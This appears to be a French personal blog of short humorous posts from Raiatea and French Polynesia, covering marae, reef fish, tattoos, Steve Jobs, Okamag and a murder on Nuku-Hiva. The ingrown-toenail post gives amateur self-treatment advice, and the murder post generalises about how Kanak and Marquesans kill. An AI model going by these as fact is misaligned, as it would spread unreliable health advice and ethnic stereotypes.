  Faire parler un papa Noël patibulaire qui répète vos paroles, c’est l’application TalkingSanta (cf. Gorzo le Dino). On peut aussi interagir avec le TalkingSanta et en faire un petit film. Une solution de facilité pour les voeux…

  
  

  
  

  Merci de votre attention et encore joyeux Noël.

  
• Petits danseurs de luecilla

  Luecilla est une tribu de Lifou, l’île centrale de l’archipel des Loyauté où la coutume est encore très forte. Voici une photographie de petits danseurs kanak au naturel il y a 10 ans.
  
  
  
  
  

  

  
  
  Merci de votre attention et n’oubliez pas de visiter Luecilla.

  
• Tortue morte à Tepua

  Une tortue morte que les vagues ballottent au fond de la baie de Tepua, c’est horrible et même effrayant. J’aime bien la tortue : je vous avais déjà proposé la tortue luth et la tortue de Floride bien vivantes et dans le registre des animaux morts, on avait montré un rat décapité, une sauterelle mangée par les fourmis ou un opossum éviscéré, il nous manquait donc la tortue morte. Lacune comblée.

  Le côté morbide de cette vidéo n’échappera à personne mais la tortue qui s’étouffe avec le sac plastique qu’elle prend pour une méduse, c’est morbide. Je vais faire plus rigolo pour Noël. Promis. Merci de votre attention.

  
• Marae Taputapuatea à Raiatea

  C’est à bon droit que l’on mentionne le caractère international du Marae de Taputapuatea à Raiatea et son inscription au patrimoine mondial via l’unesco devrait être chose faite depuis qu’il figure sur la liste…

  

  Qu’est-ce qu’un Marae ?

  Le Marae est un espace cérémoniel rectangulaire, limité par de petits murets de pierre ; ce lieu sacré est lié à la civilisation polynésienne. Les plus modestes sont les marae familiaux puis ceux des castes, enfin les plus importants sont des centres politiques et religieux à l’échelle du Pacifique oriental. Si vous voulez des renseignements complets sur le Marae Taputapuatea, voici le document de l’unesco et une autre source.

  

  L’origine du Marae international de Taputapuatea

  Raiatea alias Havaï Nui, et les autres Îles sous le vent sont le point de départ des Polynésiens qui peuplèrent jusqu’aux fameuses pointes du triangle polynésien.

  

  A l’origine, le Marae Taputapuatea de Raiatea est un Marae local mais la naissance de Oro, dieu de la guerre, à Opoa, en fait un centre international où se réunissent périodiquement les rois de nombreuses îles formant une alliance de deux zones et couvrant la Polynésie tout entière (Tahiti, Moorea, Hawaï, *Rotuma, Rarotonga, Nouvelle Zélande, Australes, Tuamotu, etc.).

  

  C’est à partir d’une pierre prélevée sur le site d’Opoa qu’on édifie à chacun de ces endroits si distants ce qu’on appelle un Marae Taputapuatea, l’original étant à Raiatea, l’île sacrée, en face de Huahine.

  

  Un Marae monumental

  Outre le fait qu’il soit le plus vaste de tout l’océan Pacifique, le Marae de Taputapuatea est aussi le plus étonnant par sa diversité. De nombreuses structures lithiques s’étendent sur 8 Ha entre la montagne et le lagon, les huit pierres dressées représentant les rois de Raiatea, un superbe menhir de 2 mètres pour la dynastie Tamatoa, un pavage de corail au coeur des enceintes, d’autres espaces bordés de monstrueux blocs coralliens ou volcaniques aux reliefs naturels ou sculptés font face à l’Océan. Bref, les « Occidentaux » qui préjugent de l’avancée d’une civilisation à l’aune de ses dimensions architecturales peuvent se rendre à l’évidence : Le Marae Taputapuatea est une « cathédrale » et hop, dans le patrimoine mondial…

  

  Une vidéo du Marae Taputapuatea

  Un montage vidéo à base de photos plutôt qu’une vidéo – pour être honnête – avec un fond sonore transposé de Hawaii 78 par Izraël Kamakawiwo’ole et joué par votre créature des marais. Merci de votre attention.

  
  

  * Une lectrice d’origine polynésienne aimablement me rappelle – elle a choisi le message privé plutôt que le commentaire public par délicatesse – que Fidji appartient à la Mélanésie. Elle a raison : J’avais placé improprement Fidji dans la liste parlant de « Polynésie tout entière ». En fait, il aurait fallu spécifier Rotuma qui est une dépendance des Fidji dont les Habitants seraient originaires de Samoa et des Tonga voire de Kiribati (cette possible influence micronésienne expliquerait le caractère unique de leur langue, le rotuman)… Selon le document de l’unesco, font partie de  » l’alliance polynésienne Te Ao Tea no te Faatau Aroha,  « Pays clairs de l’alliance amicale» : Tahaa, Bora Bora, Iles Cook, Rotuma, Aotearoa ». Merci beaucoup à cette lectrice de m’avoir prévenu. Je me coucherai moins idiot.

  
• Poisson sans nom

  Selon MMB, les articles de la CdM sont trop longs ces temps-ci. Certes, les deux derniers étaient d’une longueur inutile et d’un intérêt très médiocre, je vous le concède. C’est pourquoi nous ferons plus court aujourd’hui.

  Et nous allons parler du poisson sans nom. Le poisson sans nom est un animal extrêmement discret de la famille des anonymes qui habite exactement à 7 mètres de mon canapé alors qu’il ne mesure que 3 centimètres (le poisson sans nom, pas mon canapé qui est plus grand). Vues du canapé, les qualités de dissimulation du poisson sans nom sont absolument phénoménales, vous n’imaginez même pas.

  
  

  

  le poisson sans nom

  Mais, une fois sous l’eau et avec un masque, un humain moyennement doué saura toutefois le distinguer d’un tire-bouchon sans l’aide d’une bouteille.

  Dans le grand livre des poissons avec noms de Polynésie, il y en a bien un qui ressemble à mon poisson sans nom mais pas tout à fait et je suis exigeant comme tous les ignares…

  

  le poisson sans nom

  D’ailleurs, quand je barbote sous l’eau, je croise des tas et des tas de poissons dont je ne connais pas le nom. Voici donc mon dicton du jour : Dans le lagon, le « poisson sans nom » est légion.

  

  le légionnaire anonyme

  PS : Mon humour personnel vous est incompréhensible, c’est naturel, cliquez ici et si vous voulez une blague bien grasse sur les légionnaires, cliquez là. J’en profite pour saluer mon ami Niouss/OYP. Merci de votre attention.

  
• Moïse redécouvre les tables

  La dernière fois, j’ai donné une recette pour toutes celles et ceux qui ont les ongles incarnés, donc, ça, c’est fait. J’ai rendu un service inestimable à l’humanité souffrante et maintenant je peux redébloguer… Une occasion de plus de vérifier que mon humour est de plus en plus larvaire. J’ignore si le fait d’être né entre un marais catholique et une Brière quasi-démoniaque conditionne mon crétinisme congénital ou bien le croisement avec les moustiques, peut-être. En tout cas, je prie les fans de Moïse de ne pas s’offusquer nonobstant que je me gausse d’un de ses hypothétiques descendants. La question n’est pas là.

  

  Et puis, tiens, je profite d’être multi-thématique chez wikio pour enchaîner sans crainte du coq à l’âne ou inversement. Par conséquent, vous pouvez quitter cette page, grosses bises et à bientôt. A celles et ceux qui poursuivent cette lecture, je signale que c’est bien gentil de votre part. En fait, sous couvert de Moïse, je voulais causer de la situation de l’éducation nationale au Zimbabwe, l’un des pays – comme chacun sait – les mieux gérés au monde. L’état ne peut plus payer qu’une partie du salaire des enseignants depuis 2 ans, et les recettes diamantaires étant certainement allouées à d’autres priorités, c’est la population qui est mise à contribution. C’est une population de parents d’élèves, en majorité pauvre et illettrée, qui se révolte, ces derniers temps, parce qu’elle ne peut plus s’acquitter des 2 $ mensuels. Elle a peur que les enseignants dont le salaire déjà piètre est amputé par l’absence de manne familiale ne deviennent négligents quant à leurs enfants… Les établissements privés non-conventionnés – parfois fantômes – se multiplient… L’état en ferme beaucoup, cela ne suffit pas. Bref, un modèle du genre pour dégommer un service public.

  Nous pouvons nous réjouir – nous autres, Français – d’être comptables, lettrés, éclairés même depuis le XVIIIe, empreints d’égalité sociale et soucieux de notre bon droit d’avoir une éducation solide garantie par l’état pour devenir d’honnêtes citoyens : Si on nous proposait, pourquoi pas, que les enseignants soient désormais embauchés par des chefs d’établissements locaux, histoire d’imiter un peu l’entreprise artisanale, pour voir si la France ne serait pas par hasard le pays du XIIIe siècle ? Doit-on croire que ce système de recrutement « à la bouille » soit plus objectif qu’un traitement national informatisé des affectations ? Le ministre en sait sûrement plus long que nous – il connaît ses tables, au fait ? – mais j’imagine déjà le scénario : De vieux profs exténués ne trouvant plus de travail que dans les établissements classés sensibles, accablés par les heures supplémentaires, l’eczéma chronique et la tyrannie d’un petit chef, sous les lazzi d’adolescents haineux. Sur ce coup-là, ce devrait être extrêmement facile de faire oublier les scores mesquins de suicidés chez France Telecom.

  Tiens, ça me rappelle François Fillon s’exclamant avec une conviction mauvaise au sujet des fonctionnaires, corps auquel il appartient ipso facto en tant que premier ministre : « Vous vous rendez compte que ces gens-là ont un emploi à vie, à vie ! » Oui, François Fillon en est le chef, donc il crache dans la soupe. Notez que je ne me fais pas de souci pour le prochain emploi de ce politique qui crache dans la soupe populaire puisqu’il n’y boira jamais, la soupe est meilleure à l’hôtel. Et ça vient donner des leçons en mimant la mentalité petit-commerçant, détournant sinistrement les échos d’un Jacques Brel ? Tsss. Du mauvais théâtre, comme en jugerait sûrement mon ami, le poisson pané, qui n’a rien à voir avec tout cela mais qui s’y connaît en théâtre.

  Les cités naissantes, sachant penser, compter et lire, voici quelques millénaires, se dotèrent par force d’une administration et donc d’écoles. Je ne défends pas les défauts inhérents à tout système qui emploie des fonctionnaires – à vie ou non – car la bureaucratie est criminogène, c’est vrai, mais je dis en revanche qu’une éducation nationale, gratuite et de qualité, est prestigieuse et signe du génie d’une nation parce qu’elle offre une certaine chance aux défavorisés de se hisser aux plus hauts postes, ce qui est raisonnable. Cela évite les révolutions et tout un tintouin.

  De toute façon, les jeunes qui se sentent encore la fibre enseignante ont prévu que l’état français veut liquider le mammouth et ils ont pris les devants : *Pour la première fois dans l’histoire de l’éducation nationale française, il y a eu plus de candidats admis aux concours nationaux dans le privé que dans le public, c’est un choix du candidat . L’argent fera bien le bonheur des pauvres, convenons-en et merci de votre attention. La prochaine fois, nous ferons une amusante comparaison entre les systèmes de santé de la France et des Fidji.

  *Info de Rico, merci Rico.

  
• Remède facile pour ongle incarné

  Qu’est qu’un ongle incarné ?

  L’ongle est dit incarné lorsqu’il respecte l’étymologie. C’est-à-dire qu’il se place « in », dedans,  « carné »,  la viande, tout cela en latin de cuisine. Et, de fait, la kératine, matière de l’ongle, ni plus, ni moins de la corne, force et perce petit à petit de ses angles tranchants l’écrin tendre de vos orteils, martyrise la chair qui tente en vain de retenir cet ongle retors, et c’est très inconfortable. Cette pathologie se nomme joliment onychocryptose.

  

  
  

  Qui est sujet aux ongles incarnés ?

  Ce sont les sujets mâles mais tout particulièrement ceux dont l’ongle de l’orteil est épais, évasé ou recourbé. Cette résurgence griffue affligerait ceux dont l’ADN possède une trace de néanderthal mais le port de la chaussure est également incriminé. Saura-t-on peser l’hérédité et le milieu ? Ce n’est pas le sujet.

  Prévention contre l’incarnation de l’ongle

  Peut-on éviter que les ongles ne s’incarnent ? Oui, il paraît qu’il suffit de couper les ongles selon un processus rectiligne et de ne pas se ronger ceux des orteils avec les dents en imitation du chat et dépit du bon sens. L’ongle ne doit surtout pas sentir les dents. Bref, l’ongle des doigts coupé droit au moyen de la pince idoine, et serti avec élégance dans ses replis unguéaux, est un ongle humainement traité.

  

  
  

  Traiter l’ongle incarné au kleenex

  On peut traiter l’ongle incarné lorsqu’il ne s’est pas encore incrusté profondément, s’il n’est pas trop épais ou trop recourbé, en le taillant – après un bain de pieds – et en plaçant entre l’ongle et la chair, un morceau de mouchoir à papier. Inconvénient : il faut attendre une repousse de quelques millimètres en renouvelant le papier. Or, l’ongle de pied repousse deux fois moins vite que l’ongle de doigt de main, il faut donc compter trois mois…

  La solution chirurgicale : témoignage de la CdM

  La technique consiste à découper les parties latérales qui s’incarnent et gratter, à la base, la matrice qui produit l’ongle.

  Je puis parler de mes aventures chirurgicales et exotiques (comme pour la diverculite). Allons-y : Sur une île pacifique ouest, un chirurgien africain virtuose m’a tronçonné – il ne voulait pas que je regardasse – l’ongle incriminé m’assurant qu’il n’y aurait pas de récidive. Trois jours à boiter, et le problème fut réglé. C’est ce que je croyais. Hélas, trois ans plus tard, sur un continent américain dont je tairai le nom, je dus confier à un confrère viet-nâmien radical, qui lui voulut bien me laisser regarder la manoeuvre, l’ongle réincarné. Je pus de la sorte suivre sa découpe preste, son grattage minutieux, son humour tranquille et sa vigueur au moment où les points de suture perçaient l’épaisseur de l’ongle pour le lier aux bourrelets de chair. Sept jours à ne pouvoir marcher, un mois à boîtiller. Malgré tout la sympathie que j’éprouve pour ce praticien, si j’avais su…

  

  Pis que ça, depuis, deux petits pans ongulaires, comme des canines, naissent à la base de l’ongle même, de chaque côté, et je dois régulièrement les extirper en fouillant ma boite à outill pour y trouver un pince de précision, le matériel de manucure étant hors de prix et presque fragile pour mes ongles de pithécanthrope. Alors, quelle solution ? Une solution de votre bonne vieille CdM pour toutes et tous, je pousse.

  

  La méthode de la Créature des Marais contre l’ongle incarné est-elle garantie à 100% ?

  Vous allez en juger, voici ma recette et je vous la divulgue gratuitement – notez bien ceci, je vous prie, car je vais bientôt installer un encart paypal pour recevoir vos dons – mais auparavant, il faut suivre un cheminement discriminatoire au fil de cet article qui suppose que les tenants du créationnisme n’aillent pas plus loin. En effet, nous sommes des bêtes et nos ongles sont anciennement des griffes, d’où cette forme recourbée qui sera la clef de voute du raisonnement.

  Partant du principe que l’épaisseur de l’ongle fait sa force – comme l’oignon en Belgique, il suffit de savoir que le dit ongle est structuré en trois couches. On lime la couche supérieure dite dorsale à l’aide d’une bête lime à ongle, on amoindrit éventuellement la couche intermédiaire. On ne touche évidemment pas à la couche ventrale qui repose sur le lit, sensible comme la chair à vif.

  

  Tailler la corne pour que la chair retrouve ses droits

  Pour faciliter la tâche, avant la taille, on peut faire tremper les pieds 15 mn dans une bassine d’eau de fleur d’oranger au sel de Guérande, uniquement. On utilisera une pince droite.

  Dans les cas les plus extrêmes, l’opération de limage a diminué la pression de l’ongle bombé, incrusté dans la chair inflammée, cela soulage immédiatement. Pour les ongles modérément épais, l’abrasion de l’ongle confère la minceur adéquate à une découpe facile et précise. Dans les deux cas, la pression latérale diminue et la taille des bords incarnés est plus aisée, moins susceptible de blesser.

  La taille latérale de l’ongle donne du temps à la chair qui l’encadre pour reconquérir le terrain. La matrice consacre une partie de son énergie à réépaissir l’ongle, la pousse latérale en est ralentie. Enfin, ça, c’est ma théorie…

  

  
  

  La fréquence de limage est laissée à l’appréciation de vos performances. Par exemple, un ongle genre troll sera limé une dizaine de minutes au moins par mois. En vertu de quoi, les débords de l’ongle se découperont en souplesse, sans s’arracher, partout où ils menacent de s’incarner.

  Conclusion

  J’espère que de nombreux commentaires confirmeront l’opinion raisonnable selon laquelle la Créature des Marais est une bienfaitrice de l’humanité à ses heures perdues en révélant le remède le plus simple, le moins cher et le moins douloureux pour combattre l’ongle incarné.

  PS : Vous pouvez laisser votre témoignage ému de gratitude dans les commentaires. Si vous ne savez pas écrire, vous pouvez laisser la photo de votre orteil sur le trombinoscope du blog. Pour ceux qui boivent de la bière et veulent maigrir un grand coup ? Voir mon article J’ai perdu 15 Kg en 3 mois. Merci de votre attention.

  
• Tatouage 2 têtes de mort

  L’opinion de la Créature quant au tatouage est partagée entre l’appréciation de l’oeuvre d’art et la répugnance à voir la peau humaine marquée comme celle d’un prisonnier ou d’un animal. Ayant autrefois envisagé une carrière brillante d’aventurier international avant de me rendre compte que j’étais une véritable petite poule mouillée, je m’étais dit alors que le tatouage ne facilitait pas la discrétion… C’était un point de vue occidental, soit, mais seuls le militaire ou le voyou me paraissaient assez bruts pour se dessiner la couenne. J’excepte l’ancre sur l’avant-bras du Capitaine Haddock que j’ai toujours admirée.

  
  

  

  Depuis cette époque, mon point de vue général sur le tatouage a évolué par la lecture et par le voyage. Exemple de lecture : Aux missionnaires européens barbus du XVIIIe qui leur reprochaient d’abîmer l’oeuvre du Créateur par leur tatouage, les Amazoniens répliquaient justement que cette liberté de modifier son apparence était un choix possible seulement à l’humain. Exemple de voyage : Les jeunes Amérindiens de l’Oyapock se tatouaient le prénom attribué en cours d’anglais…

  

  
  

  Qu’il soit esthétique ou identitaire, le tatouage dans les pays développés a perdu la force symbolique qu’il tient chez les peuples premiers. Le tatouage des Peuples Premiers a une dimension spirituelle qui échappe aux barbares civilisés

  

  sauf peut-être aux bagnards facétieux qui se dessinent un pointillé autour du cou pour guider le couperet de la guillotine.

  Le sujet anonyme qui a eu la gentillesse de se laisser photographier en pince pour le tatouage japonais. Voici d’autres tatouages qui ornent sa personne. Je lui adresse tous mes remerciements.

  

  Grand jeu : Dans cette fresque magnifique de la CdM, trouve la tatouage polynésien

  Merci de votre attention.

  
• Valsa sem nome par Rico Giustiniani

  La musique adoucit les moeurs, c’est connu. On connaît moins en revanche l’influence de la valse brésilienne sur les poissons tropicaux. C’est pourquoi le Professeur R. Giustiniani, produit par la créature des marais, a tenté l’expérience au bout du ponton à Raiatea, quartier Tepua. Il a interprété Valsa sem nome de Baden Powell. Les poissons émus ont beaucoup pleuré mais cela ne se voyait pas car les larmes se fondaient dans la solution saline propice aux espèces marines à branchies en laquelle elles sont habituellement immergées.

  
  

  D’ordinaire, le poisson est peu communicatif avec l’humain mais cette fois-ci, à l’issue du récital, les poissons ont applaudi des nageoires à la prestation de Maître Rico Giustiniani.

  

  Ci-dessus une bande de poissons rouges très enthousiaste.

  Merci de votre attention.

  
  

  
• Westerdam à Uturoa

  Le Westerdam de la Holland America Line était à quai à Uturoa. Cela m’a rappelé Nouméa où les navires de croisière semblent des buildings soudainement ajoutés aux autres mais devant la mer. À Uturoa où les bâtiments ne font pas plus d’un étage, l’effet est assez saisissant aussi, non ?

  

  Petite photographie pour mieux comprendre… Merci de votre attention.

  
• Cannibale aux Marquises : Henri Haiti court toujours

  Et il court dans les montagnes de Nuku-Hiva poursuivi par la maréchaussée et les chasseurs du coin qui connaissent mieux le coin. D’autant que le coin est immense, fort pentu et plutôt végétalisé.

  Que s’est-il donc passé ?

  Le fait est qu’on ne sait pas vraiment ce qui s’est passé. Henri Haiti, guide touristique de l’île, est un homme aimable selon ses commensaux. Seulement, il a peut-être tué un touriste allemand puis attiré sa compagne pour tenter de la violer. Après l’avoir ligotée, Henri a été aperçu s’enfuyant vers les hauteurs où les relais de chasse sont traditionnellement pourvus d’une provende minimale qui lui permettrait de subsister facilement. Cela dit, avec des chasseurs marquisiens à ses trousses, il a du souci à se faire. Il s’en fait sûrement pour une autre raison que nous exposerons tout à l’heure.

  La presse européenne parle de cannibalisme

  Le mythe a la dent dure et le journalisme y puise régulièrement la matière qui alimente ses mensonges sans l’amoindrir. Donc, le Marquisien du XXIe siècle sera cannibale ou ne sera pas. Et on ose encore appeler ça de l’actualité… Il y a quelques années, deux Kanak avaient violé et assassiné une Japonaise dans un endroit « tapu », la presse nippone en avait fait des gorges chaudes : Meurtre rituel en Calédonie. Si l’on mettait les cons en orbite, on n’aurait plus besoin de GPS ou de Galileo.

  Les habitants des Marquises sont-ils vraiment cannibales ?

  C’est l’évidence même, les Marquisiens sont anthropophages. Moi-même quand j’ai croisé des Marquisiens, je vérifie discrètement qu’ils ne m’ont pas croqué un petit bout de barbaque par mégarde. De même que Van Gogh aurait été assassiné par des ados sadiques, Jacques Brel ne serait pas mort de maladie : il aurait garni le frigo de la grand-mère de Henri Haiti pendant 15 jours. Pour Van Gogh, l’hypothèse est séduisante – notons qu’il offrait son oreille en amuse-gueule aux filles de petite vertu.

  Que mangent les Marquisiens ?

  Rien que des bonnes choses normalement. Mais ce goût de la chair humaine est encore si prononcé chez le Marquisien contemporain que le malheureux souffre cruellement de devoir se sustenter de poisson, de chèvre sauvage, de vache sauvage ou d’ailes de dinde congelées. Alors, pensez un peu, un germain dodu et domestique, quelle aubaine ! Le viol ne serait donc pas le mobile final ? Juste un petit viol digestif après le monstrueux barbeuque ?

  La vérité sur cette affaire

  Oui, plutôt, que de raconter n’importe quoi, et comme mon lectorat, toujours avide de connaissances exactes, réside principalement en climat tempéré, voici ce qu’il en est d’un meurtre d’étrangers chez les Marquisiens (ou les Kanak). Pour autant que si je n’y vois pas plus clair que vous, du moins vois-je de moins loin.

  Le modus operandi est comparable. Un ou deux individus pris d’un coup de folie (genre amok – relisez Zweig) violent une femme. Après consommation, il faut faire disparaître les traces de la « bêtise ». La technique kanak consiste à écrabouiller le visage du cadavre avec une grosse pierre pour le rendre méconnaissable. En Calédonie comme aux Marquises, on pratique également l’incinération dans la même intention. Pourquoi vous demandez-vous ? Eh bien, parce que ces gens-là sont très différents de nous. Leur univers mental est communautaire. Autrement dit, c’est l’ensemble de la communauté qui se sent responsable du crime. Imaginez l’état d’âme du coupable. Si le film de Kassowitz, « L’ordre et la morale » est objectif, il devrait faire ressentir cet aspect essentiel de notre difficulté à appréhender les motivations de « ces gens-là » que je trouve bien plus civilisés que moi.

  La notion de culpabilité collective est d’une délicatesse que nous ne pouvons plus comprendre, nous autres, pauvres Européens ethnocentrés et surtout individualistes forcenés jusqu’à l’égoïsme le plus abominable.

  Aussi quand la presse européenne diffuse telles imbécillités par mercantilisme, elle blesse un peuple qui manqua d’être anéanti par la colonisation, elle avilit une identité qui s’est maintenue alors que tout concourt encore à la disloquer.

  Nous excusons des exiges

  Considérons les faits : D’un côté, un crime passionnel que rien ne peut excuser et nous songeons aux victimes. De l’autre, peut-être, une forme de crime contre l’humanité première. Mais, hélas, il n’y aura jamais une réaction suffisante pour que ces journalistes sans conscience ni remords publient – ne serait-ce que – de simples excuses ou un bref démenti. Le quidam européen doit continuer à penser que le Marquisien est un féroce cannibale. Contactez l’office du tourisme des Îles Marquises pour les heures des repas.

  PS : Les rares habitué(e)s de ce blog ont coutume de trouver des articles illustrés. Pour ne pas les décevoir, voici le nouveau badge  à la mode aux Marquises.

  
  

  
• Le dragon mitrailleuse

  Et pourquoi pas ? Je ne suis pas l’auteur de ce dragon-mitrailleuse et j’ai craint un instant qu’il ne fît feu.

  
  

  Heureusement peut-être, il n’en fut rien. Merci de votre attention.

  PS : Le dragon-mitrailleuse est une invention du Pr Till.

  
• ipad2iphone

  Steve Jobs nous a quittés, il nous reste son génial joujou : l’ipad. Je ne suis jamais passé par le stade de l’iphone mais depuis l’acquisition de l’ipad, je puis oublier ma vue défaillante et mes doigts gourds en surfant sur le sofa : L’ipad, c’est le confort.

  

  Oui, j’avais envie de faire cette petite farce « ipad2iphone » parce que je joue beaucoup avec l’ipad, ces temps-ci… Et si la vie existe après la mort, excuse-moi pour mon humour ridicule, Steve !

  Merci de votre attention.

  
• Steve Jobs is dead

  Je ne suis qu’un tout récent converti à la gamme de Apple et voilà que Steve Jobs, qui se mourait, est déjà dead et, allez, c’est bien triste. Car, tout comme moi, la ménagère de 50 ans aime Steve Jobs sans l’avoir connu.

  Heureux possesseur (comme on dit) d’un imac depuis noël et de l’ipad depuis août… tout frais donc, je n’aurais pas eu le temps de d’être le réel contemporain de Steve Jobs mais je fais bien joujou avec ses produits à présent. Et, en guise d’illustration, une petite BD réalisée sur ipad, confortablement installé sur la terrasse…

  

  J’honore la mémoire de Steve Jobs, et j’avoue que je n’ai jamais aimé Bill Gates, on a des préjugés comme ça. Merci de votre attention.

  
• Gorzo le Dino contre Google Panda

  Gorzo le dinosaure sera-t-il de taille à lutter contre google panda ? Il faut dire que sa mission est difficile et bien qu’il appartienne à la redoutable catégorie des tyrannosaurus rex, je crois que Gorzo n’empêchera pas le titan du web de continuer son bizness.

  

  Et c’est vrai, mes visiteuses et visiteurs semblent comme décimés par la peste bubonique mais je ne suis pas sûr que cette chute des statistiques ait quelque chose à voir avec google panda… Tout de même, je me suis dit qu’un peu de publicité ne ferait pas de mal. Seulement, je ne pouvais pas embaucher de célébrités humaines pour vanter les mérites de ce blog dont le contenu est unique, indispensable et sans publicité. Alors, j’ai exploité un talking rex dinosaur que j’ai baptisé Gorzo pour faire l’article.  Grâce à cette application pour ipad, facile de faire sa promotion, vous pouvez filmer les réactions de Gorzo commandées par boutons et surtout, Gorzo répète vos paroles… Voici donc la prestation de mon nouvel ami Gorzo le dino qui vous recommande chaudement la visite du blog de la créature des marais !

  Au cas où vous ne pourriez pas lire la vidéo, voici le lien vers Gorzo sur youtube. Merci de votre visite et de votre attention.

  
• Sauvons Okamag

  Sauvons Okamag, le seul magazine amérindien de Guyane, la voix des six nations ! La phrase paraît saugrenue en ces temps de pétition internationale mais elle a toute son importance. Car s’il est des gens particulièrement mal défendus à l’échelle planétaire, ce sont bien les « peuples premiers ». La cause animale a plus de succès mais il serait embarrassant que la formule « espèce en voie d’extinction » puisse s’appliquer à des humains, n’est-ce pas ? Pourtant, on en est là. Comme le constatait Claude Lévy-Strauss, un ethnologue vers les années 1940 en Amazonie pouvait déplorer d’arriver un siècle trop tard ou se réjouir de ce qu’il trouvait encore… J’ai bien peur que l’opinion publique, au sens large, considère aujourd’hui les Amérindiens comme une légende, que c’est là une chose rassurante de les savoir presque disparus. Un exemple pitoyable du cinéma français « Un indien dans la ville » démontre assez à quel point les Français n’ont rien à envier aux Américains du western classique.

  
  

  Intéresser les Français à ce qui se passe chez les Amérindiens de Guyane Française n’était donc pas inutile et c’est l’ambition d’OKAMAG qui allait fêter ses 10 ans. Philippe Aquila explique les difficultés qui amènent les volontaires d’Okamag à laisser mourir le journal papier qui donnait une existence concrète aux six nations amérindiennes résidant sur le territoire français. Okamag revendique l’identité amérindienne sous les couleurs de la France comme en témoigne l’en-tête de leur site en rappelant que la Guyane française est terre amérindienne.

  
  

  La publication d’Okamag par un petit groupe de bénévoles semblait déjà une gageure. Le faible nombre des Amérindiens de Guyane française, leur isolement, leur diversité et donc le problème de la représentativité de chacun, les rivalités internes, les problèmes coutumiers, politiques, fonciers, religieux. Mais aussi le manque de soutien de l’état ou des collectivités locales et là, on peut sûrement agir. Etant donné que la créature ne fait rien d’officiel, je vais réfléchir. Peut-être mettre une pétition en ligne pour envoyer une lettre au Président du Conseil Général, au Président du Conseil Régional, au Préfet de la Guyane française et à la Ministre de l’Outre-Mer ? Moi, je signe souvent des pétitions : pour préserver le service public, éviter qu’on lapide une femme adultère ou qu’on injecte un truc pas catholique à un pauvre nègre… Parfois, sur un malentendu, ça peut marcher. En attendant, je vous invite à écrire en direct à l’équipe d’Okamag en copiant-collant ce message : « Je souhaite que Okamag continue de paraître et je suis prêt(e) à signer une pétition. Cordialement. » Un petit geste qui ne coûte rien et fait toujours plaisir. Merci de votre attention.

  
  

  
  

  PS : En juillet dernier, j’avais dit dans cet article sur un chanteur hawaïen disparu que j’allais parler d’Okamag… Des fois, il ne faut pas attendre. Allez-y, faites-moi plaisir, envoyez-leur un mail de soutien.

  
• Bonne graine et ivraie

  Un jeu fastoche – bonne graine ou ivraie – publié sur twitter dans la série #Lesphotosdujardin. Pourquoi ne pas en faire profiter la blogosphère. Outre l’allusion finement biblique mais parfaitement inutile du titre, vous disposez du texte et de l’image. Alors ? Alors ? Je vous casse les graines ? On ne sait plus trier le bon grain de l’ivraie ?

  

  Désolé pour les amateurs de cannabis, ils ne trouveront pas leur bonheur ici. Prenez-en de la graine. Merci de votre attention.

  
• Poisson rouge et cruauté

  Le poisson rouge est presque un mot composé. D’ailleurs, si l’on vous dit poisson rouge, vous pensez au bocal (ou vous pensez Bubulle mais alors vous devez immédiatement quitter cette page). Eh bien, la Créature des Marais plutôt que d’écrire des articles débiles est allée aujourd’hui avec des amis choisis sur un îlot pour voir les poissons rouges voisins en liberté.

  Or, c’est une mode sur twitter et via 4square de signaler le lieu où l’on est sur un petit plan google (si vous tweetez, je vous recommande @jegoun et vous connaîtrez un nombre impressionnant de troquets). Singeant ces prouesses d’avant-garde qui permettent à l’espèce humaine internautique de savoir que @poissonrouge est au motu d’Avera avec son amie poisson rouge – et, voyez ci-dessous, ils ont même coché l’endroit en utilisant la couleur poisson rouge afin d’être cohérents – nous fûmes obligés toutefois de procéder manuellement parce que la géolocalisation ne marche pas ici. Je préfère quand même être ici. Le motu du poisson rouge :

  
  

  

  
  

  Le poisson rouge, la pauvre bête, ignore ce qui se trame hors de l’eau. Par conséquent, personne chez les poissons rouges n’a pu remarquer sur le motu l’empreinte de la hideuse créature des marais qui a l’habitude de dissimuler ses traces fétides et palmipèdes sous des coussinets innocents et passablement odorants de Labrador.  Et c’est le drame.

  
  

  
  

  

  
  

  
  

  « Nous discutions en toute révérence, les poissons rouges et moi-même, riant sous roche, je tendais distraitement l’élastique du fusil harpon et ploutch, la flèche est partie… » a plaidé la CdM. Les témoins de la scène ont vu la CdM tenter pendant plusieurs minutes de ranimer le poisson rouge en pratiquant le bouche à bouche puis le massage caudal, sans succès. Le meurtrier malgré lui a emporté le corps en gémissant tandis que le chat miaulait à ses côtés. Honni soit qui mal y pense.

  A toutes celles et ceux qui pourraient accuser la CdM de cruauté, nous rappelons qu’il y a plus criminel : les gens qui enferment des poissons rouges dans des bocaux à perpétuité. Non, non, mettez du chutney en bocal, des achards, des corniflards, de la confiture de mûres ou des pièces de monnaie mais pas de poisson rouge. Même avec de l’eau, c’est pas sympa. Merci de votre attention.

  
• La case pirogue

  Dans la marina d’Uturoa à Raiatea est amarrée cette case pirogue double, sur le modèle de celles sur lesquelles les Polynésiens ont découvert l’immense océan Pacifique, de rudes marins ! Sauf que cette pirogue case n’use pas du vent mais d’un modeste moteur hors-bord sis juste à côté de la douchette.

  

  la case-pirogue avec ses Tiki

  C’est un appartement sur l’eau, mobile et intime, les cloisons coulissantes à la japonaise, le toit de bardeaux et les Tiki au bout des coques. La case pirogue… ce type d’objet flottant vaguement identifié ne peut sans doute naviguer que sur des vaguelettes sous peine de devenir un shaker vomitif mais bon, je me dis qu’un couple sur un océan comme un lac au fond d’une baie… ou encore mouillé dans le turquoise du lagon… La nuit bercée doit être douce et le réveil magique au sein des beautés sacrées de Raiatea. Merci de votre attention.

  
• Gainsbourg et Monfreid

  Deux de mes héros, Serge Gainsbourg et Henry de Monfreid dont j’ignorais qu’ils eussent été réunis par la télé des années soixante pour la promotion d’une chanson de France Gall composée par le beau Serge. Je n’ai conservé de ce document de l’INA que le préambule… pardon, pardon.

  
  

  La version complète de l’INA :

  La rencontre est bidonnante avec un Gainsbourg goguenard et un de Monfreid revenu de tout. La dentition sarcastique de Gainsbourg à la journaliste invisible et le bougonnement du vieillard grandiose : un grand moment. Je reparlerai de ce grand bonhomme que fut Henry de Monfreid. Quant à Gainsbourg, je n’ose écrire sur le maître…

  Merci de votre attention.

  
• Exuma au bout du ponton

  Je ne voudrais pas me la péter mais, ce matin, j’avais Exuma au bout de mon ponton en prenant le café.

  A Raiatea, je ne sais pas si on va pouvoir continuer à m’appeler la créature des marais.

  
  

  

  
